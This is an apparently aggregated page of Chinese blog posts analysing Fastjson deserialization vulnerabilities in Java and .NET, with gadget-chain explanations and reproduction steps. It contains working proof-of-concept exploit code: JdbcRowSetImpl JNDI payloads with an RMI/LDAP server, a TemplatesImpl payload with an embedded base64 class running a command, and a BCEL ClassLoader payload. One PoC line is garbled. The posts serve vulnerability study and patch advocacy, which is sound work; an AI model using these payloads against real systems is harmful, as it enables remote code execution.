GVKun编程网logo

Fastjson反序列化漏洞利用分析(fastjson反序列化漏洞原理)

13

本文的目的是介绍Fastjson反序列化漏洞利用分析的详细情况,特别关注fastjson反序列化漏洞原理的相关信息。我们将通过专业的研究、有关数据的分析等多种方式,为您呈现一个全面的了解Fastjso

本文的目的是介绍Fastjson反序列化漏洞利用分析的详细情况,特别关注fastjson反序列化漏洞原理的相关信息。我们将通过专业的研究、有关数据的分析等多种方式,为您呈现一个全面的了解Fastjson反序列化漏洞利用分析的机会,同时也不会遗漏关于.NET 高级代码审计(第三课)Fastjson 反序列化漏洞、Fastjson 1.2.22-24 反序列化漏洞分析、fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录、Fastjson < 1.2.68版本反序列化漏洞分析篇的知识。

本文目录一览:

Fastjson反序列化漏洞利用分析(fastjson反序列化漏洞原理)

Fastjson反序列化漏洞利用分析(fastjson反序列化漏洞原理)

Fastjson反序列化漏洞利用分析

背景

在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东西。

漏洞原理

多个版本的Fastjson组件在反序列化不可信数据时会导致代码执行。究其原因,首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。

那么不开启autotype功能就安全了吗?

不是的,在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过,绕过细节可参考(https://www.anquanke.com/post/id/181874),代码验证逻辑的问题,不再赘述。

利用方式

那么Fastjson反序列化不可信数据时是如何导致代码执行的呢?这就是漏洞原理一节中所说的可被恶意利用的逻辑,目前公开的、攻击者使用广泛的Gadget无外乎有这么几种,下面会具体解释下指定setter或getter方法中可被恶意利用的代码逻辑:

基于JNDI注入

JNDI即Java Naming and Directory Interface,Java命名和目录接口,JNDI提供了很多实现方式,主要有RMI,LDAP,CORBA等。JNDI提供了一个统一的外部接口,底层服务实现是多样的。

以RMI为例,RMI Registry有Name到对象的映射关系,应用通过java.rmi.naming#lookup方法向Registry发出查询请求,得到映射关系,再连接RMI Server实现远程方法调用。

如果说其lookup方法的参数是我们可以控制的,可以将其参数指向我们控制的Registry,那我们可以在Registry绑定一个指向远程类的Reference对象(当对象为Reference类型的时候,应用会加载远程类并实例化),远程类的静态代码块及构造方法均可控,从而导致任意代码执行。

下面以com.sun.rowset.JdbcRowSetImpl类为例具体解释下,

基于类com.sun.rowset.JdbcRowSetImpl的POC如下:

{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://localhost:1097/Object",
  "autoCommit":true
}

Fastjson在反序列化的时候,会使用asm来构造对象,然后调用对象的setter方法。在解析上述json字符串时,首先构造JdbcRowSetImpl对象,然后调用setDataSourceName方法和setAutoCommit方法为对象赋值,在调用setAutoCommit方法时,会通过connect方法调用lookup方法向Registry发出查询请求,而Registry的地址正是dataSourceName的值,这就导致了lookup方法参数可控,进而我们可以通过自定义Registry实现进一步漏洞利用。

connect方法代码:

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

类似的,除com.sun.rowset.JdbcRowSetImpl外,还有org.springframework.jndi.support.SimpleJndiBeanFactory、com.mchange.v2.c3p0.JndiRefForwardingDataSource、org.apache.ibatis.datasource.jndi.JndiDataSourceFactory、org.hibernate.jmx.StatisticsService等等都可以成为“Gadget”中的一环,基于JNDI注入实现代码执行。Java类库何其多,JDK中的、第三方的,未来也一定会出现更多的可被恶意利用的类库。

值得一提的是,在高版本的JDK中做了对JNDI注入类攻击的防护,主要是通过限制远程类的加载实现,具体细节可以参考我的这篇文章https://www.cnblogs.com/Welk1n/p/11066397.html,其中有比较详细的防护原理以及某些条件下的防护绕过说明。

基于ClassLoader

POC如下:

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassLoader" :
  {
    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
}

首先看一下com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器的加载机制,java、javax和sun这三个包下的类会通过系统类加载器进行加载,然后当遇到一些特殊的类名,class_name以$$BCEL$$开头的类,会调用createClass方法去解析class_name,在createClass方法中会将$$BCEL$$之后的字符解码成字节数组,并将这个BCEL编码后的类加载到虚拟机中。换言之,我们可以构造className为一个特殊的字符串时,通过这个类加载器来实现对自定义类的加载。

  protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don''t mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

那么,当Fastjson反序列化org.apache.tomcat.dbcp.dbcp.BasicDataSource对象时,首先通过setter方法设置其driverClassLoader和driverClassName属性,然后会调用其getConnection方法,又最终调用了createConnectionFactory方法,其通过Class.forName方法用driverClassLoader加载driverClassName,并设置是否初始化参数为true。forName方法实际最终调用了C实现的Native类型的方法,分析C源码可知,其底层的加载逻辑仍是调用类加载器的loadClass方法加载自定义类,有兴趣的朋友可以自己去分析下JVM层面的实现,这儿不再展开,了解即可。

driverClassLoader和driverClassName都是json传入,外部可控,那么若将driverClassLoader设置为com.sun.org.apache.bcel.internal.util.ClassLoader,driverClassName设置为经BCEL编码后的自定义类,那么就实现了在反序列化时加载自定义类的目的。于是攻击者可以在static代码块中编写恶意代码,将其进行BCEL编码,在类初始化时实现恶意代码执行。

基于TemplatesImpl

POC如下:

{
  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="],
  ''_name'':''a.b'',
  ''_tfactory'':{ },
  "_outputProperties":{ }
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类有个比较特殊的能力,可以解析然后加载实例化_bytecodes变量中的字符数组,_bytecodes的值是可控的,所以攻击者只要构造恶意类对应的字符数组,然后通过getOutputProperties方法触发恶意类的加载及实例化,同样实现了远程代码执行的效果。

一些具体的细节可以参考这两篇文章:

  1. [http://xxlegend.com/2017/05/03/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/](http://xxlegend.com/2017/05/03/title- fastjson 远程反序列化poc的构造和分析/)
  2. https://paper.seebug.org/636/

不过此种利用方式需要在解析json串时设置Feature.SupportNonPublicField,而业务同学在使用fastjson时往往会直接按照默认参数调用parseObject方法,所以略为鸡肋。

建议

可以看到上面几种Gadget都能用来攻击使用Fastjson的应用,实现代码执行,相对来说第一种方式杀伤力更强一些。所以还请务必将组件升级到最新版本,来避免攻击者对此漏洞的攻击。

原文出处:https://www.cnblogs.com/Welk1n/p/11446519.html

.NET 高级代码审计(第三课)Fastjson 反序列化漏洞

.NET 高级代码审计(第三课)Fastjson 反序列化漏洞

 0X00 前言

Java 中的 Fastjson 曾经爆出了多个反序列化漏洞和 Bypass 版本,而在.Net 领域也有一个 Fastjson 的库,作者官宣这是一个读写 Json 效率最高的的.Net 组件,使用内置方法 JSON.ToJSON 可以快速序列化.Net 对象。让你轻松实现.Net 中所有类型 (对象,基本数据类型等) 和 Json 之间的转换,fastjson 是一个开源的 Json.Net 库,下载地址 http://www.codeproject.com/Articles/159450/fastJSON,反序列过程中详细的性能对比如下

从图上得出和老牌 Json.Net、Stack 等比起来速度和性能优势非常明显,究其原因组件的作者利用反射生成了大量的 IL 代码,而 IL 代码是托管代码,可以直接给运行库编译所以性能就此大大提升。但在某些场景下开发者使用 JSON.ToObject 方法序列化不安全的数据时候会造成反序列化漏洞从而实现远程 RCE 攻击,本文笔者从原理和代码审计的视角做了相关介绍和复现。

 

 

0X01 Fastjson 序列化

使用 JSON.ToJSON 可以非常方便的实现.NET 对象与 Json 数据之间的转化,ToJSON 首先会得到对象名称所在的程序集全限定名,并且作为 $types 这个 key 的值,再将对象的成员属性名转化为 Json 数据中的 Key,把对象的成员属性值转化为 Json 数据中的 value,下面通过一个实例来说明问题,首先定义 TestClass 对象

定义了三个成员,并实现了一个静态方法 ClassMethod 启动进程。 序列化通过创建对象实例分别给成员赋值 

笔者为了尽量保证序列化过程不抛出异常,所以引入了 JSON.ToJSON 方法的第二个参数并实例化创建 JSONParameters,它的字段中有很多类型是布尔值,

和反序列化漏洞相关的字段为 UseExtensions ,将它设置为 true 可得到类的全限定名,如果不需要序列化空值的时可将另一个字段 SerializeNullValues 设为 false; 笔者使用 JSON.ToJSON 后得到序列化的 Json 数据

0x02 Fastjson 反序列化

2.1、反序列化用法

反序列过程就是将 Json 数据转换为对象,Fastjson 通过创建一个新对象的方式调用 JSON. ToObject 方法实现的,ToObject 有多个重载方法,当传入两个参数,第一个参数需要被序列化的数据、第二个参数设置序列化配置选项来指定 JSONParameters 按照指定的属性值处理,重载方法参考下图

 

具体代码可参考以下 Demo

2.2、打造 Poc

漏洞的触发点也是在于被序列化的 Json 中的 $types 是否可控,为此官方文档里也标注了警告。

笔者继续选择 ObjectDataProvider 类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下《.NET 高级代码审计(第一课) XmlSerializer 反序列化漏洞》,因为 Process.Start 方法启动一个线程需要配置 ProcessStartInfo 类相关的属性,例如指定文件名、指定启动参数,所以首先得考虑序列化 ProcessStartInfo,如下代码 Demo

一步步来看,开始从 GetType 获取当前类的实例,返回 Type 类型变量 t3;然后通过 Type.GetProperty 方法找到指定为 FileName 的公共属性并赋值给 PropertyInfo 类型的变量 propertyName;再使用 PropertyInfo.SetValue 方法设置对象的指定属性值 “cmd.exe“,同理为 Arguments 属性指定值。下一步再来序列化 Process 类,并调用 StartInfo 启动程序,Demo 如下

然后需要对其做减法,去掉无关的 System.RuntimeType、System.IntPtr 数据,最终得到反序列化 Payload

FastJson 定义的 JSON 类定义了多个 ToObject 重载方法,对于反序列化漏洞无需关心重载的方法参数是一个还是多个,它们都可以触发漏洞

笔者通过下面的 Demo , JSON.ToObject (payload) 反序列化成功弹出计算器。

0x03 代码审计视角

从代码审计的角度很容易找到漏洞的污染点,通过前面几个小节的知识能发现需要满足一个关键条件 JSON.ToObject 传入 String 或者 Object 就可以被反序列化,例如以下 JSONSerializer 类

攻击者控制传入字符串参数 json 便可轻松实现反序列化漏洞攻击。Github 上也存在大量的不安全案例代码,如下

0x04 案例复盘

最后再通过下面案例来复盘整个过程,全程展示在 VS 里调试里通过反序列化漏洞弹出计算器。

1. 输入 http://localhost:5651/Default Post 加载 value 值

2. 通过 ToObject 反序列化 ,并弹出计算器

最后附个动态图

 

0x05 总结

Fastjson 凭借速度和性能上的优势占得一席之地,但随着 newtonsoft.Json 的主流化,性能上已经逐渐赶超了 Fastjson,也使得 Fastjson 越来越小众化,对于攻击者来说,利用成本很低,在代码审计配合的情况下这种安全问题越发的严重起来,若提交恶意的污染数据,便可水到渠成的反序列化成功拿下目标,最后.NET 反序列化系列课程笔者会同步到 https://github.com/Ivan1ee/ 、https://ivan1ee.gitbook.io/ ,后续笔者将陆续推出高质量的.NET 反序列化漏洞文章,欢迎大伙持续关注,交流,更多的.NET 安全和技巧可关注实验室公众号。

 

Fastjson 1.2.22-24 反序列化漏洞分析

Fastjson 1.2.22-24 反序列化漏洞分析

[TOC]

0x00 废话

balabala

开始

0x01 简单介绍

介绍:FastJson是一款由阿里开发的JSON库 影响版本:1.2.22-24 官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315 补丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b

本地环境: win10 idea64 2018.2.5 jdk 1.8 fastjson 1.22

FastJson的简单使用

先通过一个简单的demo来熟悉一下FastJson的基本操作。首先创建一个Student类,Student.java:

package ka1n4t.test;

public class Student {
    public String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Students有一个公有属性name和一个私有属性age。下面使用一个测试类,将json字符串反序列化成Student对象,learnFJ.java:

package ka1n4t.test;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.JSONObject;

public class learnFJ {
    public static void main(String args[]) {
        String text = "{\"@type\":\"ka1n4t.test.Student\",\"name\":\"ZhangSan\",\"age\":123}";
        Student obj1 = JSON.parseObject(text, Student.class, Feature.SupportNonPublicField);
        System.out.println(obj1.getName());
    }
}

结果:

0x02 原理分析

分析POC

先看一下用于反序列化的恶意类evilClass1.java:

package ka1n4t.poc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {


    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }


    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public evilClass1() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public static void main(String[] args) throws IOException {
        evilClass1 helloworld = new evilClass1();
    }
}

其中的构造方法是用exec弹个计算器。看下poc,vulApp1.java:

package ka1n4t.poc;

import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class vulApp1 {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }

        String result = Base64.encodeBase64String(bos.toByteArray());

        return result;
    }

    public static void bad_method() {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class";
        String evil_code = readClass(evil_path);

        final String NASTY_;

        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                "''_name'':''a.b''," +
                "''_tfactory'':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }

    public static void main(String args[]) {
        bad_method();
    }

}

核心部分:

String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                "''_name'':''a.b''," +
                "''_tfactory'':{ }," +
                "\"_outputProperties\":{ }}\n";

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

_bytecodes是经过base64编码的evilClass1的字节码文件,NASTY_CLASS是TemplatesImpl类。总结一下这个payload,利用JSON.parseObject反序列化TemplatesImpl类,其中_bytecodes属性是经过base64编码的恶意类字节码文件。

调试分析

下面来分析一下反序列化TemplatesImpl的调用链,首先经过java的反射机制,到达TemplatesImpl类,调用其getOutputProperties()方法:

跟进newTransformer()方法,这个方法是用于创建一个Transformer实例。然后到达getTransletInstance()方法:

getTransletInstance()方法用于创建一个translet实例,返回这个translet给newTransformer(),然后被包裹成Transformer对象。跟进一下这个方法,发现其调用了defineTransletClasses()用来加载_bytecodes中的类,接着又调用了_class[_transletIndex].newInstance()将defineTransletClasses()返回的类进行实例化:

先跟进一下defineTransletClasses方法:

可以看到,使用了loader.defineClass()方法用于加载_bytecodes的内容,并将返回的类赋值给_class[i](这里的i是0)。loader是TemplatesImpl自定义的类,跟进一下:

可以看到TransletClassLoader继承了Java类加载器—ClassLoader类,跟进其defineClass方法,发现直接调用了父类ClassLoader中的方法,所以就不再跟进了。

回到defineTransletClasses方法,其间接调用ClassLoader加载_bytecodes中的内容之后,将加载出来的类赋值给_class[0],然后结束,回到getTransletInstance方法,再看一下图:

可以看到,455行直接使用了_class[0].newInstance()创建实例,创建的过程中调用了evilClass1构造方法,然后触发了payload:

0x03 复现过程

从github上直接pull下poc:https://github.com/shengqi158/fastjson-remote-code-execute-poc。使用idea打开工程,编译test.java:

然后会在target/classes/person下生成test.class文件。用同样的方法编译Poc.java。

配置运行方式

运行Poc:

0x04 参考文章

1.廖新喜 fastjson 远程反序列化poc的构造和分析 2.Freebuf Fastjson 1.2.24反序列化漏洞分析

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

环境搭建:

漏洞影响版本:

fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞

环境地址:

https://github.com/vulhub/vulhub/tree/master/fastjson/vuln

正常访问页面返回hello,world~

 

此时抓包修改content-type为json格式,并post payload,即可执行rce

 此时就能够创建success文件

漏洞复现(rmi+ldap):

RMI:

package person.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIServer { public static void start() throws AlreadyBoundException, RemoteException, NamingException { Registry registry = LocateRegistry.createRegistry(1099); //rmi服务器绑定1099端口 Reference reference = new Reference("Exploit", "Exploit","http://127.0.0.1:8080/"); //请求本地8080端口 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); //绑定工厂类,即rmi将去本地web目录下去找Exploit.class } public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { start(); } }

比如此时先本地起一个rmi服务器

exp:

package person;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}"; JSON.parse(payload); } }

然后指定rmi的地址,触发payload解析,从而calc,其中Exploit.class不要带包名,

 

 这里java版本用的是1.8.0,用1.8.0_202中要设置trustCodebase选项,也就是做了一定的限制,直接从外部加载类的话是不被允许的

用mashalsec起rmi服务:

 此时也能够calc

ldap:

用marshalsec在本地起一个ldap服务,然后将Exploit.class放到启动的当前目录下

 然后本地先测试一下1.8.0版本的jdk能否直接从ldap加载exploit.class

public static void testLdap(){
        String url = "ldap://127.0.0.1:1389";
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, url);
        try{ DirContext dirContext = new InitialDirContext(env); System.out.println("connected"); System.out.println(dirContext.getEnvironment()); Reference e = (Reference) dirContext.lookup("e"); }catch(NameNotFoundException ex){ ex.printStackTrace(); }catch(Exception e){ e.printStackTrace(); } }

exp:

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
                String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
                " \"autoCommit\":true}";
 JSON.parse(payload); } }

直接通过ldap加载没问题,可以calc

前置知识:

研究这个漏洞之前,先熟悉一下阿里的这个fastjson库的基本用法

package main.java;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json {


    public static  void  main(String[] args){
        Map<String,Object> map = new HashMap<String, Object>();
        map.put("key1","one");
        map.put("key2","two");
        //System.out.println(map.getClass());
        String mapjson = JSON.toJSONString(map);
        System.out.println(mapjson.getClass());
        user user1 = new user ();
        user1.setName("111");
        System.out.println(JSON.toJSONString(user1));

        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        user user2=(user)JSON.parse(serializedStr1);
        System.out.println(user2.getName());

        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println(obj.getClass());

        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
        user obj2 = (user)obj1;
        System.out.println(obj2.getName());
        System.out.println(obj2.getClass());

    }


}
//输出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user

这里user为定义好的一个类,实际上fastjson提供给我们的也就是将对象快速转换为可以传输的字符串,当然也提供从字符串中恢复出对象,也就是一个序列化和反序列化的过程,

可以从输出看到,JSON.toJSONstring实际上是将类的属性值转化为字符串,当JSON.toJSONstring带有writeclassname时此时字符串中将包含类名称及其包名称,所以此时可以定位到某个类以及其实例化对象的属性值,再通过JSON.parse()函数即可通过fastjson序列化后的字符串恢复该类的对象,当恢复对象时,使用JSON.parseObject带有Object.class时,此时能够成功恢复出类的对象,否则只能恢复到JsonObject对象

漏洞分析:

这个漏洞利用方式有好种,这篇文章主要分析利用templatesImlp这个类,这个类中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,那么这个类的构造函数是我们可控的,就能够rce

 test.java

package person;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }
   
}

test.java在这里的话主要是用户parseObject json反序列化时所要还原的类,因为在这会实例化该类,因此直接在其构造方法中calc即可

poc.java

package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos); //将test.class字节码文件转存到字节数粗输出流中
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray()); 

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_; //autotype时反序列化的类
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +    //将evilcode放在_bytecodes处
                "''_name'':''a.b''," +
                "''_tfactory'':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        //String personStr = "{''name'':"+text1+",''age'':19}";
        //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject来反序列化,此时要设置SupportNonPublicField

public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }

 我们已经知道在反序列化解析json字符串时在parseobject时触发

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],''_name'':''a.b'',''_tfactory'':{ },"_outputProperties":{ }}

 在此下断点,运行poc.java

此时首先调用com/alibaba/fastjson/JSON.java的parseObject函数来处理我们传入的payload

 此时判断我们传入的features是否为null,这里

我们已经制定了支持非publicfield属性,因为使用的_bytescode实际为非public的,否则无法反序列化,接着调用defaultJsonParser来进一步处理payload

 此时进一步调用javaObjectDeserializer,也就是反序列化时所使用的反序列化引擎,继续跟进

 此时在javaObjectDeserializer的deserialze函数中将判断type的类型是不是泛型数组类型的实例以及判断type是不是类类型的实例,这里两处不满足,所以调用parse.parse来解析

实际上此时又回到了

并且在此调用parseObject函数来处理我们的payload

接下来一部分就是语法解析,先匹配出了其中的双引号",

 比如先在parseObject函数中匹配出了@type

